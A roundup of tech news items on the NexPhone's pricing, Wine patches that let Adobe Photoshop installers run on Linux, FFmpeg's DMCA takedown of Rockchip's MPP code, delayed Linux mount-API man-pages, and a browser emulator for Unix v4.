It’s worth noting that users with a flagship smartphone may find the NexPhone less appealing as a replacement. Rather, the company says, it can serve as a rugged secondary device that can double as a capable PC for many Linux or Windows-based tasks when needed. The NexPhone is priced at $549 and can be pre-reserved by heading to the company's website and paying a $199 deposit. The rest of the amount can be paid once the device starts shipping in Q3 2026.

Photoshop is not officially supported on Linux and native versions of the app have never been released on the open-source platform. People have managed to get older releases up and running but new editions, those that require Adobe's Creative Cloud, have been locked to macOS or Windows... till now. An ingenious developer has figured out how to make those installers work through a few simple tweaks.

Whenever you try to install Photoshop 2021 or 2025 on Linux, the installer fails because it relies on a lot of Windows dependencies that Wine simply can't emulate. To be clear, Wine is a translation layer, not emulation, so it can't provide everything. This is where developer "PhialsBasement" comes in, who posted their discovery on the r/linux_gaming subreddit.

I Made Adobe CC Installers Work on Linux [PR In Body] from r/linux_gaming

The dev published a set of patches that target deep compatibility issues pertaining to MSHTML and MSXML3: two core Windows subsystems that handle HTML and JavaScript rendering in the installer UI, along with parsing the XML config files. The patch wraps data in CDATA to bypass strict parsing on Linux, and corrects Wine's ID handling so calls reach the OS properly.

The goal is to emulate Internet Explorer-9 style behavior and environment, since that's what Adobe CC-era installers expect. The patch, therefore, also forces Wine to emulate IE9's event handling, so the UI can function as expected. With everything fixed, PhialsBasement shows that Photoshop 2021 installs and "runs butter smooth" — same goes for Photoshop 2025.

These fixes were submitted as a pull request to Valve's Wine repository, as part of Proton, but they were rejected with a push (no pun intended) to submit them to the official WineHQ project first. The developer argued it's slower to get the patch merged upstream and that Valve's fork moves faster, but considering how this isn't gaming-related, it probably would've never gotten approved with Valve.

Anyhow, this marks a major breakthrough toward Adobe CC compatibility on Linux, something that has driven away many professionals from even trying the OS. If PhialsBasement's fixes are implemented platform-wide, it could signal a new era where Photoshop and perhaps even other Adobe CC apps can run natively on Linux.

For now, though, you'd have to manually build a patched version of Wine from the dev's GitHub in order to use the installer on a regular system. If you'd rather not do all that, then Windows apps can still work just fine inside a virtual machine on Linux, if you're really dedicated to that open-source lifestyle.

Leading Chinese fabless semiconductor company Rockchip has had one of its major software repositories taken down in response to a DMCA takedown notice. Specifically, its rockchip-linux / mpp repository on GitHub is currently inaccessible, after the FFmpeg team complained about Rockchip’s cavalier attitude concerning intellectual property ownership, attribution, and matters of copyright infringement. Rockchip uses this code to accelerate video de/coding on its popular SoCs. If the situation isn’t remedied, it could have broad implications for users of Linux multimedia stacks, SBC communities, Android builds, and more.

FFmpeg’s complaint

FFmpeg shares its multimedia processing toolkit under the LGPL-license, and it alleges that Rockchip has infringed its copyrighted work on the libavcodec library, which contains numerous audio and video parsers and decoders for various formats.

You might assume that this is free and open source software, so little harm has been done. However, Rockchip’s Linux MPP (Media Processing Platform) code on GitHub has wholesale copied swathes of FFmpeg code, removed any attribution, and re-licensed it under Apache, which is incompatible with FFmpeg’s LGPL license. LGPL requires the original license and attribution to be preserved. Moreover, Apache adds patent clauses that LGPLv2.1 does not permit.

Rockchip dragged its feet for years

FFmpeg appears to have been quite patient in trying to converse with Rockchip devs to iron out issues ahead of this takedown. There is evidence of chats between FFmpeg and Rockchip devs taking place on Twitter/X and GitHub since early 2024, as a video from Brodie Robertson shows (h/t Hackaday).

In this chat history, we see a Rockchip dev admitting to copying the FFmpeg code in the manner they did “due to lack of understanding” about LGPL and Apache licensing conflicts.

Also in 2024, the Chinese company grumbled about being busy, but pledged fixes would come. However, the last archived response from a Rockchip dev, from last November, stated that “there are too many chips to verify and suspend…” which reduced any hope of a friendly settlement, provoking action.

What now?

FFmpeg has faced some criticism for this DMCA takedown, which GitHub has honored. However, remember that its code has been copied and re-licensed with new authorship claimed, despite large sections of code being identical and preserving original FFmpeg dev comments.

A proposed remedy to the situation, from FFmpeg, is as follows: “remove false authorship claims; restore original attribution and copyright notices; distribute the code under an LGPL-compatible license (e.g., LGPL itself, GPL, AGPL, etc.).” The nuclear option of “remove all infringing files” is also available, as is a choice to rewrite all the code without leaning on FFmpeg sources.

If the DMCA isn’t resolved, it isn’t just an annoyance for Rockchip. Linux, Android, and SBC devs, reliant on Rockchip’s MPP for hardware-accelerated video playback, might have to fall back to doing this processing in software (with multiple negative impacts). If the downstream developers continue to use MPP, they risk losing trust, losing OS support, and facing legal risks.

Core system code doesn't move at quite the same pace as the latest vibe coders, and thankfully so, as it needs to be stable, efficient, and battle-tested. However, sometimes delays can get a little ridiculous, as was the case with the documentation for Linux's contemporary filesystem API. As noted by Phoronix, it was over a six-year wait for the info to appear in the standard man-page (manual page) documentation.

The tale goes like this: in 2019, Linux got the minty-fresh new filesystem mounting API, with the main "fsconfig," "fsmount," and "fsopen" calls replacing the old, monolithic "mount." This made it a lot easier for developers to use the new functionality, enjoying cleaner code, better error handling, and the ability to output proper error messages, rather than the cryptic "mount failed."

Developer David Howells wrote drafts of the man-pages in 2020, but those were never merged to the man-pages package, as the maintainers didn't want to include potentially incomplete or imprecise drafts. Howells apparently couldn't complete the work, and nobody else stepped up.

During the following years, developers wanting to use the new system would have to dig through an ugly file in the kernel source code, find discussions in the Linux kernel mailing list, or enjoy reading through dozens of patch notes. At the best of times, external websites actually contained a how-to of sorts, given the situation.

Another reason for nobody stepping up to write new man-pages was that the standardized format is Groff, which is now 35 years old and is so human-unreadable that it might as well have been written by Cthulhu.

Documentation master Christian Brauner got fed up in 2024, stating "years of writing Groff have made me tired," and he created his own repository with Markdown version of the pages, finally giving developers the one spot for finding the necessary information. Finally, as of October 2025, the official man-pages package now contains these pages.

It's somewhat plausible that the almost-missing documentation might have contributed to the long delays of multiple filesystem handlers using the new API. Good ol' Ext4 only used it in 2022, CIFS (SMB) did it in 2023, Btrfs was late to the party in 2024, and F2FS's (flash filesystem) implementation is still in progress. The new man-pages have yet to find their way into common distributions, so only rolling-release types will have them.

Computer archaeology lovers among the audience are in for a rare treat in these challenging times. Remember that Unix v4 tape that was found and recovered at University of Utah around last week? You can play it in a browser emulator right now, thanks to the wonders of modern browsers and the work of Mitch Riedstra.

The emulator's page actually runs a Linux emulator first, which then you can use to call up the SimH project's PDP-11 emulator, passing it a boot.ini file containing bootstrap instructions. After booting into Unix v4 proper, you'll be greeted with a familiar prompt so you can log in as the "root" user.

As the old saying goes, though: beware, there be dragons here. You'd think that much like the kid in Jurassic Park, you could find your way around it because it's a Unix system, but there's no shortage of proverbial grues just waiting to eat you.

First off, you can forget about most of your commands or aliases to them. For starters, ll is short for ls -la, so you better get used to typing the whole thing. Likewise, chdir was the Old English form of cd. And while the usual cat can output files like you'd expect, editing them is a process, as there's no nano. Brother, hold on, as there ain't no vi either — you use ed and enjoy viewing files a few lines at a time and humbly requesting for substitutions (ex: s/one/two).

Additionally, as you'll quickly figure out, the navigation shortcuts like arrow keys simply do not exist. The screen was treated like a roll of paper, and in order to go back one character you have to erase it with the "#" character, with one of them meaning "go back one character".

If you want to kill the entire line, Ctrl+C won't save you, only typing "@" and hitting Enter will do. You can click this link if you want a deep technical dive on the vicissitudes of emulating PDP hardware and Unix.

The backend of emulation comes by way of the Linux-native SimH emulator that's running inside the almost-magical JSLinux emulator, with a barebones version of Alpine Linux. Incidentally, JSLinux can also get you going with FreeDOS and even Windows 2000. That ought to trigger more than a couple waves of nostalgia.